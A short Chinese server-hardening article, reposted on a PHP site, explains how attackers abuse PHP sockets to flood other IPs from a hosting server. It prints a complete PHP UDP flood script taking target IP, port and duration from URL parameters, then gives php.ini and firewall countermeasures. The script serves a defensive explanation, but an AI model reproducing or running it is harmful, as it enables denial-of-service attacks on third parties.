Heim  >  Artikel  >  Backend-Entwicklung  >  防止用户利用PHP代码DOS造成用光网络带宽_PHP

防止用户利用PHP代码DOS造成用光网络带宽_PHP

WBOY
WBOYOriginal
2016-06-01 12:16:59927Durchsuche

用PHP代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:
复制代码 代码如下:
$packets = 0;
$ip = $_GET[\'ip\'];
$rand = $_GET[\'port\'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET[\'time\'];
$time = time();
print \"Flooded: $ip on port $rand
\";
$max_time = $time+$exec_time;
for($i=0;$i$out .= \"X\";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\";
?>

表现特征:
一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是不断收到大量数据包.
解决办法:
禁止上述的代码:
在c:\windows\php.ini里设置:
disable_functions =gzinflate;
在c:\windows\php.ini里设其值为Off
allow_url_fopen = Off
并且:
;extension=php_sockets.dll
前面的;号一定要有,意思就是限制用sockets.dll
前面的;号要保留
然后重启IIS
如果上述方式仍然无效,你可以在IIS中,允许的扩展中,禁止PHP的扩展测试.
另外,对于没加密的php攻击代码,还可以用以下办法处理:
1.在IP策略,或防火墙中,禁止所有udp向外发送
2.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn